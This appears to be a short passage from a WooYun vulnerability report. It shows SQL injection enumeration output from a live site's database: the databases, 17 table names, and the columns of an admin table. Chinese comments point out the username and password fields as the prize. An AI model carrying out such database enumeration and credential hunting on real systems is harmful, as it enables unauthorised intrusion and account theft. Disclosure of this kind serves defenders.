WooYun.org

current database: 'jfk2012'
current user: 'jfk_user@%'
available databases [3]:
[*] information_schema
[*] jfk2012
[*] test
Database: jfk2012
[17 tables]
+-------------------+
| jfk_actlog |
| jfk_admin |
| jfk_advertisement |
| jfk_article |
| jfk_case |
| jfk_casepic |
| jfk_casepost |
| jfk_courseware |
| jfk_expert |
| jfk_pointdiscuss |
| jfk_pointhit |
| jfk_pubclass |
| jfk_qaexpert |
| jfk_recommend_log |
| jfk_viewcount |
| zj_expert |
| zj_interview |
+-------------------+
可以发现有jfk_admin这张表，进入admin的表
Table: jfk_admin
[8 columns]
+-----------+-----------------------+
| Column | Type |
+-----------+-----------------------+
| dateline | char(11) |
| failcount | tinyint(1) |
| id | mediumint(8) unsigned |
| lastip | char(15) |
| lastvisit | int(10) |
| password | char(32) |
| status | tinyint(1) |
| username | char(15) |
+-----------+-----------------------+
有用户名和密码这样的字段。